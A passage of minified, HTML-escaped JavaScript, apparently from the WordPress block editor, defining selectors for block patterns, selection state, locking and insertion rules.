i=t?.map(({name:a})=&gt;a)||[];return[...t||[],...(n||[]).filter(({name:a})=&gt;!i.includes(a))].filter(a=&gt;!r&amp;&amp;a.name===&quot;openverse&quot;?!1:Object.values(o).some(c=&gt;c.startsWith(`${a.mediaType}/`)))},e=&gt;[e.settings.inserterMediaCategories,e.settings.allowedMimeTypes,e.settings.enableOpenverseMediaCategory,e.registeredInserterMediaCategories]),She=(0,Vr.createRegistrySelector)(e=&gt;(0,Vr.createSelector)((t,o=null)=&gt;{let{getAllPatterns:r}=M(e(Kt)),n=r(),{allowedBlockTypes:i}=su(t);return n.some(s=&gt;{let{inserter:a=!0}=s;if(!a)return!1;let c=Nf(s);return Bv(c,i)&amp;&amp;c.every(({name:u})=&gt;Df(t,u,o))})},(t,o)=&gt;[...Ev(e)(t),...cu(e)(t,o)])),_he=(0,Vr.createRegistrySelector)(e=&gt;(0,Vr.createSelector)((t,o)=&gt;{if(o?.startsWith(&quot;core/block/&quot;)){let r=parseInt(o.slice(11),10),n=M(e(Kt)).getReusableBlocks().find(({id:i})=&gt;i===r);return n?Cv(n,t.settings.__experimentalUserPatternCategories):null}return[...t.settings.__experimentalBlockPatterns??[],...t.settings[qc]?.(e)??[]].find(({name:r})=&gt;r===o)},(t,o)=&gt;o?.startsWith(&quot;core/block/&quot;)?[M(e(Kt)).getReusableBlocks(),t.settings.__experimentalReusableBlocks]:[t.settings.__experimentalBlockPatterns,t.settings[qc]?.(e)])),xhe=(0,Vr.createRegistrySelector)(e=&gt;(0,Vr.createSelector)(t=&gt;[...M(e(Kt)).getReusableBlocks().map(o=&gt;Cv(o,t.settings.__experimentalUserPatternCategories)),...t.settings.__experimentalBlockPatterns??[],...t.settings[qc]?.(e)??[]].filter((o,r,n)=&gt;r===n.findIndex(i=&gt;o.name===i.name)),Ev(e))),whe=[],Che=(0,Vr.createRegistrySelector)(e=&gt;t=&gt;{let o=t.settings[S0];return(o?o(e):t.settings.__experimentalReusableBlocks)??whe});function Bhe(e){return e.lastFocus}function Ehe(e){return e.isDragging}function The(e){return e.expandedBlock}var zN=(e,t)=&gt;{let o=t,r;for(;!r&amp;&amp;(o=e.blocks.parents.get(o));)fa(e,o)===&quot;contentOnly&quot;&amp;&amp;(r=o);return r};function aj(e,t){let o=dt(e,t);if(o===&quot;core/block&quot;)return!0;let r=Ti(e,t),n=o===&quot;core/template-part&quot;,i=e.settings?.[Xc],s=e.settings?.disableContentOnlyForUnsyncedPatterns,a=e.settings?.disableContentOnlyForTemplateParts;if((!s&amp;&amp;r?.metadata?.patternName||n&amp;&amp;!a)&amp;&amp;!i)return!0;let c=fa(e,t)===&quot;contentOnly&quot;,u=Po(e,t),d=fa(e,u)===&quot;contentOnly&quot;;return!!(c&amp;&amp;!d)}var au=(e,t)=&gt;{if(UN(e,t))return;let o=t,r;for(;o=e.blocks.parents.get(o);)aj(e,o)&amp;&amp;(r=o);return r};function lu(e,t){return UN(e,t)||au(e,t)?!1:aj(e,t)}function jN(e){return e.editedContentOnlySection}function UN(e,t){if(!e.editedContentOnlySection)return!1;if(e.editedContentOnlySection===t)return!0;let o=t;for(;o=e.blocks.parents.get(o);)if(e.editedContentOnlySection===o)return!0;return!1}var Ihe=(0,Vr.createSelector)((e,t)=&gt;t.reduce((o,r)=&gt;(o[r]=e.blocks.attributes.get(r)?.style,o),{}),(e,t)=&gt;[...t.map(o=&gt;e.blocks.attributes.get(o)?.style)]);function Mf(e){return e.settings?.[Zc]}function HN(e){return e.zoomLevel===&quot;auto-scaled&quot;||e.zoomLevel&lt;100}function Phe(e){return e.zoomLevel}function lj(e,t,o=&quot;&quot;){let r=Array.isArray(t)?t:[t],n=s=&gt;r.every(a=&gt;Df(e,a,s));if(!o){if(n(o))return o;let s=Mf(e);return s&amp;&amp;n(s)?s:null}let i=o;for(;i!==null&amp;&amp;!n(i);)i=Po(e,i);return i}function Rhe(e,t,o){let{allowedBlockTypes:r}=su(e);if(!Bv(Nf(t),r))return null;let i=Nf(t).map(({blockName:s})=&gt;s);return lj(e,i,o)}function Ohe(e){return e.insertionPoint}var Ahe=(e,t)=&gt;{let o=dt(e,t);if(!(0,xv.hasBlockSupport)(o,&quot;visibility&quot;,!0))return!1;let n=e.blocks.attributes.get(t)?.metadata?.blockVisibility;return n===!1?!0:typeof n?.viewport==&quot;object&quot;&amp;&amp;n?.viewport!==null?Object.values(Et).some(i=&gt;n?.viewport?.[i.key]===!1):!1},GN=(e,t)=&gt;{let o=dt(e,t);return(0,xv.hasBlockSupport)(o,&quot;visibility&quot;,!0)?e.blocks.attributes.get(t)?.metadata?.blockVisibility===!1:!1},Lhe=(e,t)=&gt;ys(e,t).some(r=&gt;GN(e,r)),cj=(e,t,o)=&gt;{if(GN(e,t))return!0;let n=e.blocks.attributes.get(t)?.metadata?.blockVisibility?.viewport;return typeof n==&quot;object&quot;&amp;&amp;n!==null&amp;&amp;typeof o==&quot;string&quot;?n?.[o.toLowerCase()]===!1:!1},Nhe=(e,t,o)=&gt;ys(e,t).some(n=&gt;cj(e,n,o));function Mhe(e){return!!e.hasBlockSpotlight||!!e.editedContentOnlySection}function uj(e,t){return!!Ti(e,t)?.lock?.edit}function dj(e,t){let o=Ti(e,t);if(o?.lock?.move!==void 0)return!!o?.lock?.move;let r=Po(e,t);return fa(e,r)===&quot;all&quot;}function fj(e,t){let o=Ti(e,t);if(o?.lock?.remove!==void 0)return!!o?.lock?.remove;let r=Po(e,t),n=fa(e,r);return n===&quot;all&quot;||n===&quot;insert&quot;}function Dhe(e,t){return uj(e,t)||dj(e,t)||fj(e,t)}function Vhe(e){return e.listViewContentPanelOpen}function Fhe(e,t){return e.openedListViewPanels?.allOpen?!0:e.openedListViewPanels?.panels?.[t]===!0}function zhe(e){return e.listViewExpandRevision||0}function jhe(e){return e.viewportModalClientIds}function Uhe(e){return e.requestedInspectorTab}var Iv=l(N(),1),Nt={user:&quot;user&quot;,theme:&quot;theme&quot;,directory:&quot;directory&quot;},Tv={full:&quot;fully&quot;,unsynced:&quot;unsynced&quot;},Vf={name:&quot;allPatterns&quot;,label:(0,Iv._x)(&quot;All&quot;,&quot;patterns&quot;)},Sl={name:&quot;myPatterns&quot;,label:(0,Iv.__)(&quot;My patterns&quot;)},Kp={name:&quot;core/starter-content&quot;,label:(0,Iv.__)(&quot;Starter content&quot;)};function Iw(e,t,o){let r=e.name.startsWith(&quot;core/block&quot;),n=e.source===&quot;core&quot;||e.source?.startsWith(&quot;pattern-directory&quot;);return!!(t===Nt.theme&amp;&amp;(r||n)||t===Nt.directory&amp;&amp;(r||!n)||t===Nt.user&amp;&amp;e.type!==Nt.user||o===Tv.full&amp;&amp;e.syncStatus!==&quot;&quot;||o===Tv.unsynced&amp;&amp;e.syncStatus!==&quot;unsynced&quot;&amp;&amp;r)}var uu=Symbol(&quot;isFiltered&quot;),mj=new WeakMap,pj=new WeakMap;function Cv(e,t=[]){return{name:`core/block/${e.id}`,id:e.id,type:Nt.user,title:e.title?.raw,categories:e.wp_pattern_category?.map(o=&gt;{let r=t.find(({id:n})=&gt;n===o);return r?r.slug:o}),content:e.content?.raw,syncStatus:e.wp_pattern_sync_status}}function Hhe(e){let t=(0,hj.parse)(e.content,{__unstableSkipMigrationLogs:!0});return t.length===1&amp;&amp;(t[0].attributes={...t[0].attributes,metadata:{...t[0].attributes.metadata||{},categories:e.categories,patternName:e.name,name:t[0].attributes.metadata?.name||e.title}}),{...e,blocks:t}}function Pw(e){let t=mj.get(e);return t||(t=Hhe(e),mj.set(e,t)),t}function Nf(e){let t=pj.get(e);return t||(t=(0,gj.parse)(e.content),t=t.filter(o=&gt;o.blockName!==null),pj.set(e,t)),t}var Ff=(e,t,o=null)=&gt;typeof e==&quot;boolean&quot;?e:Array.isArray(e)?e.includes(&quot;core/post-content&quot;)&amp;&amp;t===null?!0:e.includes(t):o,Bv=(e,t)=&gt;{if(typeof t==&quot;boolean&quot;)return t;let o=[...e];for(;o.length&gt;0;){let r=o.shift();if(!Ff(t,r.name||r.blockName,!0))return!1;r.innerBlocks?.forEach(i=&gt;{o.push(i)})}return!0},Ev=e=&gt;t=&gt;[t.settings.__experimentalBlockPatterns,t.settings.__experimentalUserPatternCategories,t.settings.__experimentalReusableBlocks,t.settings[qc]?.(e),t.blockPatterns,M(e(Kt)).getReusableBlocks()],cu=()=&gt;(e,t)=&gt;[e.blockListSettings[t],e.blocks.byClientId.get(t),e.blocks.order.get(t||&quot;&quot;),e.settings.allowedBlockTypes,e.settings.templateLock,Ii(e,t),Mf(e),lu(e,t),au(e,t)];var Ghe=(e,t,o)=&gt;(r,n)=&gt;{let i,s;if(typeof e==&quot;function&quot;?(i=e(r),s=e(n)):(i=r[e],s=n[e]),i&gt;s)return o===&quot;asc&quot;?1:-1;if(s&gt;i)return o===&quot;asc&quot;?-1:1;let a=t.findIndex(u=&gt;u===r),c=t.findIndex(u=&gt;u===n);return a&gt;c?1:c&gt;a?-1:0};function ma(e,t,o=&quot;asc&quot;){return e.concat().sort(Ghe(t,e,o))}var{isContentBlock:$N}=M(Oe.privateApis),Whe=3600*1e3,$he=24*3600*1e3,Khe=168*3600*1e3,fr=[],Yhe=new Set,yj={[uu]:!0};function dt(e,t){let o=e.blocks.byClientId.get(t),r=&quot;core/social-link&quot;;if(kj.Platform.OS!==&quot;web&quot;&amp;&amp;o?.name===r){let n=e.blocks.attributes.get(t),{service:i}=n??{};return i?`${r}-${i}`:r}return o?o.name:null}function qhe(e,t){let o=e.blocks.byClientId.get(t);return!!o&amp;&amp;o.isValid}function Ti(e,t){return e.blocks.byClientId.get(t)?e.blocks.attributes.get(t):null}function xl(e,t){return e.blocks.byClientId.has(t)?e.blocks.tree.get(t):null}var Zhe=(0,Ee.createSelector)((e,t)=&gt;{let o=e.blocks.byClientId.get(t);return o?{...o,attributes:Ti(e,t)}:null},(e,t)=&gt;[e.blocks.byClientId.get(t),e.blocks.attributes.get(t)]);function Xhe(e,t){let o=!t||!Ow(e,t)?t||&quot;&quot;:&quot;controlled||&quot;+t;return e.blocks.tree.get(o)?.innerBlocks||fr}var Sj=(0,Ee.createSelector)((e,t)=&gt;((0,jn.default)(&quot;wp.data.select( &#039;core/block-editor&#039; ).__unstableGetClientIdWithClientIdsTree&quot;,{since:&quot;6.3&quot;,version:&quot;6.5&quot;}),{clientId:t,innerBlocks:_j(e,t)}),e=&gt;[e.blocks.order]),_j=(0,Ee.createSelector)((e,t=&quot;&quot;)=&gt;((0,jn.default)(&quot;wp.data.select( &#039;core/block-editor&#039; ).__unstableGetClientIdsTree&quot;,{since:&quot;6.3&quot;,version:&quot;6.5&quot;}),wr(e,t).map(o=&gt;Sj(e,o))),e=&gt;[e.blocks.order]),xj=(0,Ee.createSelector)((e,t)=&gt;{t=Array.isArray(t)?[...t]:[t];let o=[];for(let n of t){let i=e.blocks.order.get(n);i&amp;&amp;o.push(...i)}let r=0;for(;r&lt;o.length;){let n=o[r],i=e.blocks.order.get(n);i&amp;&amp;o.splice(r+1,0,...i),r++}return o},e=&gt;[e.blocks.order]),$p=e=&gt;xj(e,&quot;&quot;),Qhe=(0,Ee.createSelector)((e,t)=&gt;{let o=$p(e);if(!t)return o.length;let r=0;for(let n of o)e.blocks.byClientId.get(n).name===t&amp;&amp;r++;return r},e=&gt;[e.blocks.order,e.blocks.byClientId]),wj=(0,Ee.createSelector)((e,t)=&gt;{if(!t)return fr;let o=Array.isArray(t)?t:[t],n=$p(e).filter(i=&gt;{let s=e.blocks.byClientId.get(i);return o.includes(s.name)});return n.length&gt;0?n:fr},e=&gt;[e.blocks.order,e.blocks.byClientId]);function Jhe(e,t){return(0,jn.default)(&quot;wp.data.select( &#039;core/block-editor&#039; ).__experimentalGetGlobalBlocksByName&quot;,{since:&quot;6.5&quot;,alternative:&quot;wp.data.select( &#039;core/block-editor&#039; ).getBlocksByName&quot;}),wj(e,t)}var Rw=(0,Ee.createSelector)((e,t)=&gt;(Array.isArray(t)?t:[t]).map(o=&gt;xl(e,o)),(e,t)=&gt;(Array.isArray(t)?t:[t]).map(o=&gt;e.blocks.tree.get(o))),ege=(0,Ee.createSelector)((e,t)=&gt;Rw(e,t).filter(Boolean).map(o=&gt;o.name),(e,t)=&gt;Rw(e,t));function tge(e,t){return wr(e,t).length}function Rv(e){return e.selection.selectionStart}function Ov(e){return e.selection.selectionEnd}function oge(e){return e.selection.selectionStart.clientId}function rge(e){return e.selection.selectionEnd.clientId}function nge(e){let t=du(e).length;return t||(e.selection.selectionStart.clientId?1:0)}function ige(e){let{selectionStart:t,selectionEnd:o}=e.selection;return!!t.clientId&amp;&amp;t.clientId===o.clientId}function Yp(e){let{selectionStart:t,selectionEnd:o}=e.selection,{clientId:r}=t;return!r||r!==o.clientId?null:r}function sge(e){let t=Yp(e);return t?xl(e,t):null}function Po(e,t){return e.blocks.parents.get(t)??null}var ys=(0,Ee.createSelector)((e,t,o=!1)=&gt;{let r=[],n=t;for(;n=e.blocks.parents.get(n);)r.push(n);return r.length?o?r:r.reverse():fr},e=&gt;[e.blocks.parents]),KN=(0,Ee.createSelector)((e,t,o,r=!1)=&gt;{let n=ys(e,t,r),i=Array.isArray(o)?s=&gt;o.includes(s):s=&gt;o===s;return n.filter(s=&gt;i(dt(e,s)))},e=&gt;[e.blocks.parents]);function age(e,t){let o=t,r;do r=o,o=e.blocks.parents.get(o);while(o);return r}function lge(e,t){let o=Yp(e),r=[...ys(e,t),t],n=[...ys(e,o),o],i,s=Math.min(r.length,n.length);for(let a=0;a&lt;s&amp;&amp;r[a]===n[a];a++)i=r[a];return i}function YN(e,t,o=1){if(t===void 0&amp;&amp;(t=Yp(e)),t===void 0&amp;&amp;(o&lt;0?t=qN(e):t=Cj(e)),!t)return null;let r=Po(e,t);if(r===null)return null;let{order:n}=e.blocks,i=n.get(r),a=i.indexOf(t)+1*o;return a&lt;0||a===i.length?null:i[a]}function cge(e,t){return YN(e,t,-1)}function uge(e,t){return YN(e,t,1)}function dge(e){return e.initialPosition}var qp=(0,Ee.createSelector)(e=&gt;{let{selectionStart:t,selectionEnd:o}=e.selection;if(!t.clientId||!o.clientId)return fr;if(t.clientId===o.clientId)return[t.clientId];let r=Po(e,t.clientId);if(r===null)return fr;let n=wr(e,r),i=n.indexOf(t.clientId),s=n.indexOf(o.clientId);return i&gt;s?n.slice(s,i+1):n.slice(i,s+1)},e=&gt;[e.blocks.order,e.selection.selectionStart.clientId,e.selection.selectionEnd.clientId]);function du(e){let{selectionStart:t,selectionEnd:o}=e.selection;return t.clientId===o.clientId?fr:qp(e)}var fge=(0,Ee.createSelector)(e=&gt;{let t=du(e);return t.length?t.map(o=&gt;xl(e,o)):fr},e=&gt;[...qp.getDependants(e),e.blocks.byClientId,e.blocks.order,e.blocks.attributes]);function qN(e){return du(e)[0]||null}function Cj(e){let t=du(e);return t[t.length-1]||null}function mge(e,t){return qN(e)===t}function Bj(e,t){return du(e).indexOf(t)!==-1}var pge=(0,Ee.createSelector)((e,t)=&gt;{let o=t,r=!1;for(;o&amp;&amp;!r;)o=Po(e,o),r=Bj(e,o);return r},e=&gt;[e.blocks.order,e.selection.selectionStart.clientId,e.selection.selectionEnd.clientId]);function hge(e){let{selectionStart:t,selectionEnd:o}=e.selection;return t.clientId===o.clientId?null:t.clientId||null}function gge(e){let{selectionStart:t,selectionEnd:o}=e.selection;return t.clientId===o.clientId?null:o.clientId||null}function bge(e){let t=Rv(e),o=Ov(e);return!t.attributeKey&amp;&amp;!o.attributeKey&amp;&amp;typeof t.offset&gt;&quot;u&quot;&amp;&amp;typeof o.offset&gt;&quot;u&quot;}function kge(e){let t=Rv(e),o=Ov(e);return!!t&amp;&amp;!!o&amp;&amp;t.clientId===o.clientId&amp;&amp;t.attributeKey===o.attributeKey&amp;&amp;t.offset===o.offset}function vge(e){return qp(e).some(t=&gt;{let o=dt(e,t);return!(0,Oe.getBlockType)(o).merge})}function yge(e,t){let o=Rv(e),r=Ov(e);if(o.clientId===r.clientId||!o.attributeKey||!r.attributeKey||typeof o.offset&gt;&quot;u&quot;||typeof r.offset&gt;&quot;u&quot;)return!1;let n=Po(e,o.clientId),i=Po(e,r.clientId);if(n!==i)return!1;let s=wr(e,n),a=s.indexOf(o.clientId),c=s.indexOf(r.clientId),u,d;a&gt;c?(u=r,d=o):(u=o,d=r);let f=t?d.clientId:u.clientId,m=t?u.clientId:d.clientId,h=dt(e,f);if(!(0,Oe.getBlockType)(h).merge)return!1;let g=xl(e,m);if(g.name===h)return!0;let b=(0,Oe.switchToBlockType)(g,h);return b&amp;&amp;b.length}var Sge=e=&gt;{let t=Rv(e),o=Ov(e);if(t.clientId===o.clientId||!t.attributeKey||!o.attributeKey||typeof t.offset&gt;&quot;u&quot;||typeof o.offset&gt;&quot;u&quot;)return fr;let r=Po(e,t.clientId),n=Po(e,o.clientId);if(r!==n)return fr;let i=wr(e,r),s=i.indexOf(t.clientId),a=i.indexOf(o.clientId),[c,u]=s&gt;a?[o,t]:[t,o],d=xl(e,c.clientId),f=xl(e,u.clientId),m=d.attributes[c.attributeKey],h=f.attributes[u.attributeKey],p=(0,_l.create)({html:m}),g=(0,_l.create)({html:h});return p=(0,_l.remove)(p,0,c.offset),g=(0,_l.remove)(g,u.offset,g.text.length),[{...d,attributes:{...d.attributes,[c.attributeKey]:(0,_l.toHTMLString)({value:p})}},{...f,attributes:{...f.attributes,[u.attributeKey]:(0,_l.toHTMLString)({value:g})}}]};function wr(e,t){return e.blocks.order.get(t||&quot;&quot;)||fr}function Ej(e,t){let o=Po(e,t);return wr(e,o).indexOf(t)}function Tj(e,t){let{selectionStart:o,selectionEnd:r}=e.selection;return o.clientId!==r.clientId?!1:o.clientId===t}function Ij(e,t,o=!1){let r=qp(e);return r.length?o?r.some(n=&gt;ys(e,n,!0).includes(t)):r.some(n=&gt;Po(e,n)===t):!1}function Pj(e,t,o=!1){return wr(e,t).some(r=&gt;ZN(e,r)||o&amp;&amp;Pj(e,r,o))}function _ge(e,t){if(!t)return!1;let o=du(e),r=o.indexOf(t);return r&gt;-1&amp;&amp;r&lt;o.length-1}function xge(e){let{selectionStart:t,selectionEnd:o}=e.selection;return t.clientId!==o.clientId}function wge(e){return e.isMultiSelecting}function Cge(e){return e.isSelectionEnabled}function Bge(e,t){return e.blocksMode[t]||&quot;visual&quot;}function Ege(e){return e.isTyping}function Rj(e){return!!e.draggedBlocks.length}function Tge(e){return e.draggedBlocks}function ZN(e,t){return e.draggedBlocks.includes(t)}function Ige(e,t){return Rj(e)?ys(e,t).some(r=&gt;ZN(e,r)):!1}function Pge(){return(0,jn.default)(&#039;wp.data.select( &quot;core/block-editor&quot; ).isCaretWithinFormattedText&#039;,{since:&quot;6.1&quot;,version:&quot;6.3&quot;}),!1}var Rge=(0,Ee.createSelector)(e=&gt;{let t,o,{insertionCue:r,selection:{selectionEnd:n}}=e;if(r!==null)return r;let{clientId:i}=n;return i?(t=Po(e,i)||void 0,o=Ej(e,n.clientId)+1):o=wr(e).length,{rootClientId:t,index:o}},e=&gt;[e.insertionCue,e.selection.selectionEnd.clientId,e.blocks.parents,e.blocks.order]);function Oge(e){return e.insertionCue!==null}function Age(e){return e.template.isValid}function Lge(e){return e.settings.template}function fa(e,t){if(!t)return e.settings.templateLock??!1;let o=oM(e,t)?.templateLock;return o===&quot;contentOnly&quot;&amp;&amp;e.editedContentOnlySection===t?!1:o??!1}var XN=(e,t,o=null)=&gt;{let r,n;if(t&amp;&amp;typeof t==&quot;object&quot;?(r=t,n=t.name):(r=(0,Oe.getBlockType)(t),n=t),!r)return!1;let{allowedBlockTypes:i}=su(e);if(!Ff(i,n,!0))return!1;let a=(Array.isArray(r.parent)?r.parent:[]).concat(Array.isArray(r.ancestor)?r.ancestor:[]);if(a.length&gt;0){if(a.includes(&quot;core/post-content&quot;))return!0;let c=o,u=!1;do{if(a.includes(dt(e,c))){u=!0;break}c=e.blocks.parents.get(c)}while(c);return u}return!0},Av=(e,t,o=null)=&gt;{if(e.settings.isPreviewMode||!XN(e,t,o))return!1;let r;t&amp;&amp;typeof t==&quot;object&quot;?(r=t,t=r.name):r=(0,Oe.getBlockType)(t);let n=fa(e,o);if(n&amp;&amp;n!==&quot;contentOnly&quot;)return!1;let i=Ii(e,o??&quot;&quot;),s=!!lu(e,o),a=s?o:au(e,o),c=!!a;if(i===&quot;disabled&quot;&amp;&amp;(!c||t!==(0,Oe.getDefaultBlockName)()))return!1;let u=oM(e,o);if(o&amp;&amp;u===void 0)return!1;let d=$N(t);if(c&amp;&amp;!d||c&amp;&amp;dt(e,a)===&quot;core/block&quot;)return!1;if(c&amp;&amp;(s||i===&quot;contentOnly&quot;||i===&quot;disabled&quot;)&amp;&amp;!wv(e,t,o)){let S=(0,Oe.getDefaultBlockName)();if(t===S){if(!wr(e,o).some(B=&gt;dt(e,B)===S))return!1}else return!1}let f=dt(e,o),h=(0,Oe.getBlockType)(f)?.allowedBlocks,p=Ff(h,t);if(p!==!1){let S=u?.allowedBlocks,x=Ff(S,t);x!==null&amp;&amp;(p=x)}let g=r.parent,b=Ff(g,f),v=!0,k=r.ancestor;k&amp;&amp;(v=[o,...ys(e,o)].some(x=&gt;Ff(k,dt(e,x))));let y=v&amp;&amp;(p===null&amp;&amp;b===null||p===!0||b===!0);return y&amp;&amp;(0,vj.applyFilters)(&quot;blockEditor.__unstableCanInsertBlockType&quot;,y,r,o,{getBlock:xl.bind(null,e),getBlockParentsByBlockName:KN.bind(null,e)})},Df=(0,Ee.createRegistrySelector)(e=&gt;(0,Ee.createSelector)(Av,(t,o,r)=&gt;cu(e)(t,r)));function Nge(e,t,o=null){return t.every(r=&gt;Df(e,dt(e,r),o))}function QN(e,t){if(e.settings.isPreviewMode)return!1;let o=Ti(e,t);if(o===null)return!0;if(o.lock?.remove!==void 0)return!o.lock.remove;let r=Po(e,t),n=fa(e,r);if(n&amp;&amp;n!==&quot;contentOnly&quot;)return!1;let i=!!lu(e,r),s=i?r:au(e,r),a=!!s,c=$N(dt(e,t));if(a&amp;&amp;!c||a&amp;&amp;dt(e,s)===&quot;core/block&quot;)return!1;let u=Ii(e,r),d=dt(e,t),f=(0,Oe.getDefaultBlockName)();return a&amp;&amp;(i||d===f||u===&quot;contentOnly&quot;)&amp;&amp;!wv(e,dt(e,t),r)?d===f?wr(e,r).filter(p=&gt;dt(e,p)===f).length&gt;1:!1:u!==&quot;disabled&quot;}function Oj(e,t){return t.every(o=&gt;QN(e,o))}function Aj(e,t){if(e.settings.isPreviewMode)return!1;let o=Ti(e,t);if(o===null)return!0;if(o.lock?.move!==void 0)return!o.lock.move;let r=Po(e,t);if(fa(e,r)===&quot;all&quot;)return!1;let i=!!au(e,t),s=$N(dt(e,t));if(i&amp;&amp;!s)return!1;let a=!!lu(e,r),c=Ii(e,r);return i&amp;&amp;(a||c===&quot;contentOnly&quot;)&amp;&amp;!wv(e,dt(e,t),r)?!1:Ii(e,r)!==&quot;disabled&quot;}function Mge(e,t){return t.every(o=&gt;Aj(e,o))}function Lj(e,t){if(e.settings.isPreviewMode)return!1;let o=Ti(e,t);if(o===null)return!0;let{lock:r}=o;return!r?.edit}function Dge(e,t){return e.settings.isPreviewMode||!(0,Oe.hasBlockSupport)(t,&quot;lock&quot;,!0)?!1:!!e.settings?.canLockBlocks}function JN(e,t){return e.preferences.insertUsage?.[t]??null}var Pv=(e,t,o)=&gt;(0,Oe.hasBlockSupport)(t,&quot;inserter&quot;,!0)?Av(e,t.name,o):!1,Vge=(e,t)=&gt;o=&gt;{let r=`${t.id}/${o.name}`,{time:n,count:i=0}=JN(e,r)||{};return{...t,id:r,icon:o.icon||t.icon,title:o.title||t.title,description:o.description||t.description,category:o.category||t.category,example:o.hasOwnProperty(&quot;example&quot;)?o.example:t.example,initialAttributes:{...t.initialAttributes,...o.attributes},innerBlocks:o.innerBlocks,keywords:o.keywords||t.keywords,frecency:eM(n,i),isSearchOnly:o.isSearchOnly}},eM=(e,t)=&gt;{if(!e)return t;let o=Date.now()-e;switch(!0){case o&lt;Whe:return t*4;case o&lt;$he:return t*2;case o&lt;Khe:return t/2;default:return t/4}},Nj=(e,{buildScope:t=&quot;inserter&quot;})=&gt;o=&gt;{let r=o.name,n=!1;(0,Oe.hasBlockSupport)(o.name,&quot;multiple&quot;,!0)||(n=Rw(e,$p(e)).some(({name:f})=&gt;f===o.name));let{time:i,count:s=0}=JN(e,r)||{},a={id:r,name:o.name,title:o.title,icon:o.icon,isDisabled:n,frecency:eM(i,s)};if(t===&quot;transform&quot;)return a;let c=(0,Oe.getBlockVariations)(o.name,&quot;inserter&quot;),u=(0,Oe.getBlockVariations)(o.name,&quot;block&quot;),d=[...c,...u.filter(f=&gt;o.name===&quot;core/heading&quot;&amp;&amp;[&quot;h1&quot;,&quot;h2&quot;,&quot;h3&quot;,&quot;h4&quot;,&quot;h5&quot;,&quot;h6&quot;].includes(f.name)).map(f=&gt;({...f,isSearchOnly:!0}))];return{...a,initialAttributes:{},description:o.description,category:o.category,keywords:o.keywords,parent:o.parent,ancestor:o.ancestor,variations:d,example:o.example,utility:1}},Fge=(0,Ee.createRegistrySelector)(e=&gt;(0,Ee.createSelector)((t,o=null,r=yj)=&gt;{let n=h=&gt;{let p=h.wp_pattern_sync_status?Ei:{src:Ei,foreground:&quot;var(--wp-block-synced-color)&quot;},g=Cv(h),{time:b,count:v=0}=JN(t,g.name)||{},k=eM(b,v);return{id:g.name,name:&quot;core/block&quot;,initialAttributes:{ref:h.id},title:g.title,icon:p,category:&quot;reusable&quot;,keywords:[&quot;reusable&quot;],isDisabled:!1,utility:1,frecency:k,content:g.content,get blocks(){return Pw(g).blocks},syncStatus:g.syncStatus}},i=Av(t,&quot;core/block&quot;,o)?M(e(Kt)).getReusableBlocks().map(n):[],s=Nj(t,{buildScope:&quot;inserter&quot;}),a=(0,Oe.getBlockTypes)().filter(h=&gt;(0,Oe.hasBlockSupport)(h,&quot;inserter&quot;,!0)).map(s);if(r[uu]!==!1)a=a.filter(h=&gt;Pv(t,h,o));else{let{getClosestAllowedInsertionPoint:h}=M(e(Kt));a=a.filter(p=&gt;XN(t,p,o)&amp;&amp;h(p.name,o)!==null).map(p=&gt;({...p,isAllowedInCurrentRoot:Pv(t,p,o)}))}let c=a.reduce((h,p)=&gt;{let{variations:g=[]}=p;if(g.some(({isDefault:b})=&gt;b)||h.push(p),g.length){let b=Vge(t,p);h.push(...g.map(b))}return h},[]),u=(h,p)=&gt;{let{core:g,noncore:b}=h;return(p.name.startsWith(&quot;core/&quot;)?g:b).push(p),h},{core:d,noncore:f}=c.reduce(u,{core:[],noncore:[]});return[...[...d,...f],...i]},(t,o)=&gt;[(0,Oe.getBlockTypes)(),M(e(Kt)).getReusableBlocks(),t.blocks.order,t.preferences.insertUsage,...cu(e)(t,o)])),zge=(0,Ee.createRegistrySelector)(e=&gt;(0,Ee.createSelector)((t,o,r=null)=&gt;{let n=Array.isArray(o)?o:[o],i=Nj(t,{buildScope:&quot;transform&quot;}),s=(0,Oe.getBlockTypes)().filter(u=&gt;Pv(t,u,r)).map(i),a=Object.fromEntries(Object.entries(s).map(([,u])=&gt;[u.name,u])),c=(0,Oe.getPossibleBlockTransformations)(n).reduce((u,d)=&gt;(a[d?.name]&amp;&amp;u.push(a[d.name]),u),[]);return ma(c,u=&gt;a[u.name].frecency,&quot;desc&quot;)},(t,o,r)=&gt;[(0,Oe.getBlockTypes)(),t.preferences.insertUsage,...cu(e)(t,r)])),jge=(e,t=null)=&gt;(0,Oe.getBlockTypes)().some(n=&gt;Pv(e,n,t))?!0:Av(e,&quot;core/block&quot;,t),WN=(0,Ee.createRegistrySelector)(e=&gt;(0,Ee.createSelector)((t,o=null)=&gt;{if(!o)return;let r=(0,Oe.getBlockTypes)().filter(i=&gt;Pv(t,i,o));return Av(t,&quot;core/block&quot;,o)&amp;&amp;r.push(&quot;core/block&quot;),r},(t,o)=&gt;[(0,Oe.getBlockTypes)(),...cu(e)(t,o)])),Uge=(0,Ee.createSelector)((e,t=null)=&gt;((0,jn.default)(&#039;wp.data.select( &quot;core/block-editor&quot; ).__experimentalGetAllowedBlocks&#039;,{alternative:&#039;wp.data.select( &quot;core/block-editor&quot; ).getAllowedBlocks&#039;,since:&quot;6.2&quot;,version:&quot;6.4&quot;}),WN(e,t)),(e,t)=&gt;WN.getDependants(e,t));function Mj(e,t=null){if(!t)return;let{defaultBlock:o,directInsert:r}=e.blockListSettings[t]??{};if(!(!o||!r))return o}function Hge(e,t=null){return(0,jn.default)(&#039;wp.data.select( &quot;core/block-editor&quot; ).__experimentalGetDirectInsertBlock&#039;,{alternative:&#039;wp.data.select( &quot;core/block-editor&quot; ).getDirectInsertBlock&#039;,since:&quot;6.3&quot;,version:&quot;6.4&quot;}),Mj(e,t)}var Gge=(0,Ee.createRegistrySelector)(e=&gt;(t,o)=&gt;{let r=M(e(Kt)).getPatternBySlug(o);return r?Pw(r):null}),tM=e=&gt;(t,o)=&gt;[...Ev(e)(t),...cu(e)(t,o)],bj=new WeakMap;function Wge(e){let t=bj.get(e);return t||(t={...e,get blocks(){return Pw(e).blocks}},bj.set(e,t)),t}var $ge=(0,Ee.createRegistrySelector)(e=&gt;(0,Ee.createSelector)((t,o=null,r=yj)=&gt;{let{getAllPatterns:n}=M(e(Kt)),i=n(),{allowedBlockTypes:s}=su(t);return i.filter(({inserter:d=!0})=&gt;!!d).map(Wge).filter(d=&gt;Bv(Nf(d),s)).filter(d=&gt;Nf(d).every(({blockName:f})=&gt;r[uu]!==!1?Df(t,f,o):XN(t,f,o)))},tM(e))),Kge=(0,Ee.createRegistrySelector)(e=&gt;(0,Ee.createSelector)((t,o,r=null)=&gt;{if(!o)return fr;let 